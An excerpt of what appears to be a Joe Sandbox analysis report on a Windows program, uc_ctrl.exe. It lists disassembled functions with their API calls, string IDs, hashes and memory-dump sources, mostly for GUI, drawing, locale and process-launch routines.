                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Object$CompatibleCreateSelect$BitmapH_prolog3
                                                                                              • String ID:
                                                                                              • API String ID: 1715795092-0
                                                                                              • Opcode ID: ecc42c0fc37838c34470815d2f0df37b15f655232b7e5ff0b57a4f1fa0498d24
                                                                                              • Instruction ID: 1216ac656d4799df78dfcd836cd9008a6119272ee3f0bd142ed1df3c071fd130
                                                                                              • Opcode Fuzzy Hash: ecc42c0fc37838c34470815d2f0df37b15f655232b7e5ff0b57a4f1fa0498d24
                                                                                              • Instruction Fuzzy Hash: 80518931A0121AEFCF119FA4DC48AEFBBB5FF0A325F200115F915A6650DB30A965DF92
                                                                                              Function 00102320 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 144COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?GetString@CLanguageUI@UiLib@@SAPB_WPB_W0@Z.UC_GUILIB(simba_ctrl,title,097E771E), ref: 0010235E
                                                                                              • ??BCWindowWnd@UiLib@@QBEPAUHWND__@@XZ.UC_GUILIB(00000000,00000000), ref: 0010237C
                                                                                              • SetWindowTextW.USER32(00000000), ref: 00102383
                                                                                              • ?FindControl@CPaintManagerUI@UiLib@@QBEPAVCControlUI@2@PB_W@Z.UC_GUILIB(list_user), ref: 00102391
                                                                                              • GetCommandLineW.KERNEL32(?), ref: 001023A8
                                                                                              • CommandLineToArgvW.SHELL32(00000000), ref: 001023AF
                                                                                              • exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 001023C0
                                                                                              • _wcslwr_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 00102425
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Lib@@$CommandLineWindow$ArgvControlControl@D__@@FindI@2@LanguageManagerPaintString@TextWnd@_wcslwr_sexit
                                                                                              • String ID: UCaaS.exe$list_user$simba_ctrl$title$uc_ctrl.exe
                                                                                              • API String ID: 1931150860-1413169550
                                                                                              • Opcode ID: 7f223bde3656770035b6e1ae9467ec91bf30f60edca9355558790c649d9c461c
                                                                                              • Instruction ID: 3d285e4bf33a4d27400cf5f3a961c207782c88782dfcad3909744c9bbaad6f22
                                                                                              • Opcode Fuzzy Hash: 7f223bde3656770035b6e1ae9467ec91bf30f60edca9355558790c649d9c461c
                                                                                              • Instruction Fuzzy Hash: 1751CF70A00209DFCB04DFA8C849BAEBBB5FF48711F148268E5469B2D1DBB56D40CFA1
                                                                                              Function 6CFAB7A2 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 140registrywindowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • RegisterWindowMessageW.USER32(commdlg_LBSelChangedNotify,?,Function_0002C806), ref: 6CFAB7FC
                                                                                              • RegisterWindowMessageW.USER32(commdlg_ShareViolation,?,Function_0002C806), ref: 6CFAB80C
                                                                                              • RegisterWindowMessageW.USER32(commdlg_FileNameOK,?,Function_0002C806), ref: 6CFAB81C
                                                                                              • RegisterWindowMessageW.USER32(commdlg_ColorOK,?,Function_0002C806), ref: 6CFAB82C
                                                                                              • RegisterWindowMessageW.USER32(commdlg_help,?,Function_0002C806), ref: 6CFAB83C
                                                                                              • RegisterWindowMessageW.USER32(commdlg_SetRGBColor,?,Function_0002C806), ref: 6CFAB84C
                                                                                                • Part of subcall function 6CF8FBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CF8FBB9
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: MessageRegisterWindow$Exception@8Throw
                                                                                              • String ID: commdlg_ColorOK$commdlg_FileNameOK$commdlg_LBSelChangedNotify$commdlg_SetRGBColor$commdlg_ShareViolation$commdlg_help
                                                                                              • API String ID: 1943434037-3888057576
                                                                                              • Opcode ID: 9eec666466399a1cd6ccdfdc0175d202269a754881f24354c11a809074bc7513
                                                                                              • Instruction ID: 74ccbb73295ce76c40df7dbb3af97fc8dd52b009c89371d744ca090335892c11
                                                                                              • Opcode Fuzzy Hash: 9eec666466399a1cd6ccdfdc0175d202269a754881f24354c11a809074bc7513
                                                                                              • Instruction Fuzzy Hash: 5E412631900108DFDF05AFB494A47BEBBB5EB8E358B150929ED11A3780DB74D842CB96
                                                                                              Function 6CEE9A40 Relevance: 22.8, APIs: 15, Instructions: 281stringCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEE9A47
                                                                                              • strcspn.API-MS-WIN-CRT-STRING-L1-1-0(?,6CED57E4,0000005C,6CEE863B,?,?,?,?,?,?,?,00000000), ref: 6CEE9AB2
                                                                                              • localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6CEE9AC2
                                                                                              • strcspn.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEE9AD4
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?), ref: 6CEE9AE5
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEE9AFF
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?), ref: 6CEE9B49
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEE9B62
                                                                                              • ?_Rep@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@DI@Z.MSVCP140(?,?,?,00000010,?,00000000,?), ref: 6CEE9C23
                                                                                              • ?_Put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@PBDI@Z.MSVCP140(?,?,?,00000010,?,00000000,?), ref: 6CEE9C6B
                                                                                              • ?_Rep@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@DI@Z.MSVCP140(?,?,00000000,?,?,00000000,?,?,?,00000010,?,00000000,?), ref: 6CEE9C8B
                                                                                              • ?_Put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@PBDI@Z.MSVCP140(?,?,?,00000010,?,00000000,?), ref: 6CEE9CB3
                                                                                              • ?_Put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@PBDI@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEE9CE8
                                                                                              • ?_Rep@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@DI@Z.MSVCP140(?,?,?,?,?,00000000,?,?,?,?,?,?), ref: 6CEE9D0E
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@V?$ostreambuf_iterator@$D@std@@@2@D@std@@@std@@@std@@V32@$Put@?$num_put@Rep@?$num_put@$?getloc@ios_base@std@@Vlocale@2@std::locale::~localestrcspn$H_prolog3_localeconv
                                                                                              • String ID:
                                                                                              • API String ID: 2600786638-0
                                                                                              • Opcode ID: f1adef93533d2ffedf45810fb878a4ae341050c16e8e3378b40d71cfc162f65a
                                                                                              • Instruction ID: 2badfad44633128a19563018e5ebb378c1c348f85c4e3c8d0a7df076ecef3035
                                                                                              • Opcode Fuzzy Hash: f1adef93533d2ffedf45810fb878a4ae341050c16e8e3378b40d71cfc162f65a
                                                                                              • Instruction Fuzzy Hash: 6AB19871A00259DFDF10DFA4C880AEEBBF9EF4D348F244459E805AB701E370AA45CBA1
                                                                                              Function 6CFA9BAB Relevance: 21.2, APIs: 1, Strings: 11, Instructions: 183COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CFA9BB2
                                                                                                • Part of subcall function 6CF8A0EB: __EH_prolog3.LIBCMT ref: 6CF8A0F2
                                                                                                • Part of subcall function 6CFABE0E: __EH_prolog3.LIBCMT ref: 6CFABE15
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3
                                                                                              • String ID: MFCButton$MFCColorButton$MFCEditBrowse$MFCFontComboBox$MFCLink$MFCMaskedEdit$MFCMenuButton$MFCPropertyGrid$MFCShellList$MFCShellTree$MFCVSListBox
                                                                                              • API String ID: 431132790-2110171958
                                                                                              • Opcode ID: c1dc7b1e6b6e9e62911ad8e2f1281893c5bd15685ab6f58704615d86d572612b
                                                                                              • Instruction ID: 9caf95ee70804b2f3662409b1c64f550b18466d30bbd78562b049c71bda3cea2
                                                                                              • Opcode Fuzzy Hash: c1dc7b1e6b6e9e62911ad8e2f1281893c5bd15685ab6f58704615d86d572612b
                                                                                              • Instruction Fuzzy Hash: 9F516560A09246D6FF44E7F69954BEEB6F06F1530CF240439D844E7AC2EF31CB1A8661
                                                                                              Function 00106970 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 148COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ??0CDialogBuilder@UiLib@@QAE@XZ.UC_GUILIB ref: 001069D4
                                                                                                • Part of subcall function 001083C4: __onexit.LIBCMT ref: 001083CA
                                                                                                • Part of subcall function 00108636: EnterCriticalSection.KERNEL32(00111474,00000000,?,001065FF,001117EC,00109910,00000000), ref: 00108640
                                                                                                • Part of subcall function 00108636: LeaveCriticalSection.KERNEL32(00111474,?,001065FF,001117EC,00109910,00000000), ref: 00108673
                                                                                              • ?GetMarkup@CDialogBuilder@UiLib@@QAEPAVCMarkup@2@XZ.UC_GUILIB(097E771E), ref: 001069FD
                                                                                              • ?IsValid@CMarkup@UiLib@@QBE_NXZ.UC_GUILIB ref: 00106A05
                                                                                              • ?Create@CDialogBuilder@UiLib@@QAEPAVCControlUI@2@VSTRINGorID@2@PB_WPAVIDialogBuilderCallback@2@PAVCPaintManagerUI@2@PAV32@@Z.UC_GUILIB(?,00000000,00000000,?,00000000), ref: 00106A2A
                                                                                              • ?Create@CDialogBuilder@UiLib@@QAEPAVCControlUI@2@PAVIDialogBuilderCallback@2@PAVCPaintManagerUI@2@PAV32@@Z.UC_GUILIB(00000000,?,00000000), ref: 00106A37
                                                                                              • ?FindSubControlByName@CPaintManagerUI@UiLib@@QBEPAVCControlUI@2@PAV32@PB_W@Z.UC_GUILIB(00000000,lbl_username), ref: 00106A75
                                                                                              • ?FindSubControlByName@CPaintManagerUI@UiLib@@QBEPAVCControlUI@2@PAV32@PB_W@Z.UC_GUILIB(00000000,lbl_userid), ref: 00106A89
                                                                                              • ?FindSubControlByName@CPaintManagerUI@UiLib@@QBEPAVCControlUI@2@PAV32@PB_W@Z.UC_GUILIB(00000000,btn_face), ref: 00106A9D
                                                                                                • Part of subcall function 00108680: EnterCriticalSection.KERNEL32(00111474,?,00000000,?,00106580,001117EC,00104BBF,097E771E,?,?,00000000,00000000,00109728,000000FF,?,00102370), ref: 0010868B
                                                                                                • Part of subcall function 00108680: LeaveCriticalSection.KERNEL32(00111474,?,00000000,?,00106580,001117EC,00104BBF,097E771E,?,?,00000000,00000000,00109728,000000FF,?,00102370), ref: 001086C8
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ControlLib@@$I@2@$Dialog$ManagerPaint$Builder@CriticalSection$FindName@V32@$BuilderCallback@2@Create@EnterLeaveMarkup@V32@@$D@2@Markup@2@Valid@__onexit
                                                                                              • String ID: (%s)$btn_face$lbl_userid$lbl_username
                                                                                              • API String ID: 1518652592-789505387
                                                                                              • Opcode ID: 22a20913d9a0c566b0c6be6c1b6f71a736fe2f97e8beb61a39e12905b2456dfa
                                                                                              • Instruction ID: 3e027379b28b263b3f5040cb5190f5abc479a24e0673c96605a9a69e14f90144
                                                                                              • Opcode Fuzzy Hash: 22a20913d9a0c566b0c6be6c1b6f71a736fe2f97e8beb61a39e12905b2456dfa
                                                                                              • Instruction Fuzzy Hash: 8251CD71B00706EFC708DF68DD48BA9BBB8FF48710F404228E566976D1CBB0A950CB91
                                                                                              Function 6CFA5910 Relevance: 19.8, APIs: 13, Instructions: 251memorywindowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GlobalAlloc.KERNEL32(00000040,00000004,?), ref: 6CFA59EF
                                                                                              • GlobalLock.KERNEL32(00000000), ref: 6CFA59F8
                                                                                              • GlobalUnlock.KERNEL32(00000000), ref: 6CFA5A09
                                                                                              • SetPropW.USER32(?,00000000), ref: 6CFA5A19
                                                                                              • GlobalFree.KERNEL32(00000000), ref: 6CFA5A24
                                                                                              • IsWindowEnabled.USER32(00000000), ref: 6CFA5ACA
                                                                                              • EnableWindow.USER32(00000000,00000000), ref: 6CFA5AD6
                                                                                              • GetCapture.USER32 ref: 6CFA5AE3
                                                                                              • SendMessageW.USER32(00000000,0000001F,00000000,00000000), ref: 6CFA5AF2
                                                                                              • EnableWindow.USER32(00000000,00000001), ref: 6CFA5BCC
                                                                                              • GetActiveWindow.USER32 ref: 6CFA5BD6
                                                                                              • SetActiveWindow.USER32(00000000), ref: 6CFA5BE2
                                                                                              • EnableWindow.USER32(00000000,00000001), ref: 6CFA5C20
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$Global$Enable$Active$AllocCaptureEnabledFreeLockMessagePropSendUnlock
                                                                                              • String ID:
                                                                                              • API String ID: 2841214920-0
                                                                                              • Opcode ID: 769bf9e9e9057036623c96e6fe35f8e2170de2ac037fd65dd33b5d19de07fdca
                                                                                              • Instruction ID: a691c63d62f9acf0b1fee19abbf3be5fd8bbe1f689307939c7625030f50534c9
                                                                                              • Opcode Fuzzy Hash: 769bf9e9e9057036623c96e6fe35f8e2170de2ac037fd65dd33b5d19de07fdca
                                                                                              • Instruction Fuzzy Hash: CE91A270701B16EBEB049BB5C845BAEBBB9BF48358F140119EA25D7780DB74E806CB91
                                                                                              Function 6CF95875 Relevance: 19.7, APIs: 13, Instructions: 199windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CF9587C
                                                                                              • GetSysColor.USER32(00000014), ref: 6CF958B3
                                                                                                • Part of subcall function 6CF94FE2: __EH_prolog3.LIBCMT ref: 6CF94FE9
                                                                                                • Part of subcall function 6CF94FE2: CreateSolidBrush.GDI32(?), ref: 6CF95004
                                                                                              • GetSysColor.USER32(00000010), ref: 6CF958C8
                                                                                              • CreateCompatibleDC.GDI32(00000000), ref: 6CF958DC
                                                                                              • CreateCompatibleDC.GDI32(00000000), ref: 6CF958F4
                                                                                              • GetObjectW.GDI32(00000004,00000018,?), ref: 6CF95917
                                                                                              • CreateBitmap.GDI32(?,?,?,?,00000000), ref: 6CF95938
                                                                                              • CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 6CF95959
                                                                                                • Part of subcall function 6CF96249: SelectObject.GDI32(0000005C,?), ref: 6CF96252
                                                                                              • GetPixel.GDI32(?,00000000,00000000), ref: 6CF959A1
                                                                                                • Part of subcall function 6CF96355: SetBkColor.GDI32(?,?), ref: 6CF9636A
                                                                                                • Part of subcall function 6CF96355: SetBkColor.GDI32(?,?), ref: 6CF9637C
                                                                                              • BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 6CF959CA
                                                                                              • BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,001100A6), ref: 6CF959F4
                                                                                              • BitBlt.GDI32(?,00000001,00000001,?,?,?,00000000,00000000,00E20746), ref: 6CF95A5F
                                                                                              • BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00E20746), ref: 6CF95A88
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Create$Color$BitmapCompatibleH_prolog3Object$BrushPixelSelectSolid
                                                                                              • String ID:
                                                                                              • API String ID: 758415642-0
                                                                                              • Opcode ID: cc2a3129bc0b1e5e73fe825e0bdfdd72028d7dadad51054e7a5d9d4ad52c8bd9
                                                                                              • Instruction ID: aa1a73c0742c5841e82dd16f13658040f5994cc8b9d4beade11a6ef1bf94b16b
                                                                                              • Opcode Fuzzy Hash: cc2a3129bc0b1e5e73fe825e0bdfdd72028d7dadad51054e7a5d9d4ad52c8bd9
                                                                                              • Instruction Fuzzy Hash: 1C713371900109AFEF029FE0DD85FEEBB79BF18315F200128FA05B66A0DB715959DBA1
                                                                                              Function 6CEFEF70 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 115COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEFEF77
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000020), ref: 6CEFEF86
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEED96D: __EH_prolog3.LIBCMT ref: 6CEED974
                                                                                                • Part of subcall function 6CEED96D: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEA4F,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEED97F
                                                                                                • Part of subcall function 6CEED96D: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEED997
                                                                                                • Part of subcall function 6CEED96D: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEED9FB
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEFEFA2
                                                                                                • Part of subcall function 6CEF8AD5: ?sputc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?,?,?,6CEEF03F,?,?,?,?,?,?,?,?,?,00000038), ref: 6CEF8AE5
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3$??1_?getloc@ios_base@std@@?sputc@?$basic_streambuf@_Bid@locale@std@@Lockit@std@@U?$char_traits@_Vlocale@2@W@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID: #$E$O$Q
                                                                                              • API String ID: 602496783-3590659638
                                                                                              • Opcode ID: ce53cd2f7acb5b766c68ed014b5cfaa88b421899d63a0a924b575d20a1530a1d
                                                                                              • Instruction ID: 9ea14162be0ff5652e95b9d65d3e036ab11633114ddcd259622613e89251ae24
                                                                                              • Opcode Fuzzy Hash: ce53cd2f7acb5b766c68ed014b5cfaa88b421899d63a0a924b575d20a1530a1d
                                                                                              • Instruction Fuzzy Hash: 4841A035A01219DFCF04CFA4C860AFE77B1AF48318F24804AE92567781D738AE46DFA0
                                                                                              Function 00102D40 Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 417processwindowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 00103840: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0010388C
                                                                                                • Part of subcall function 00103840: Process32FirstW.KERNEL32(00000000,?), ref: 001038FC
                                                                                              • wcsstr.VCRUNTIME140(00000000,0010AAD0,?,ucapp:,0010A9B4,00102478,00102478,097E771E,?,?), ref: 00102DEB
                                                                                              • SendMessageW.USER32(?,0000004A,00000000,00109503), ref: 00102FEB
                                                                                              • memset.VCRUNTIME140(00000000,00000000,00000400,00000400,login), ref: 001030D1
                                                                                              • ??0CListContainerElementUI@UiLib@@QAE@XZ.UC_GUILIB(?,?,?,login), ref: 001030DC
                                                                                              • memset.VCRUNTIME140(?,00000000,00000044,00000000,00000000,00000000), ref: 00103276
                                                                                              • CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,00000000,?,?,00000000,00000000,00000000), ref: 001032AB
                                                                                              • exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,?,ucapp:,0010A9B4,00102478,00102478,097E771E,?,?), ref: 001032BB
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
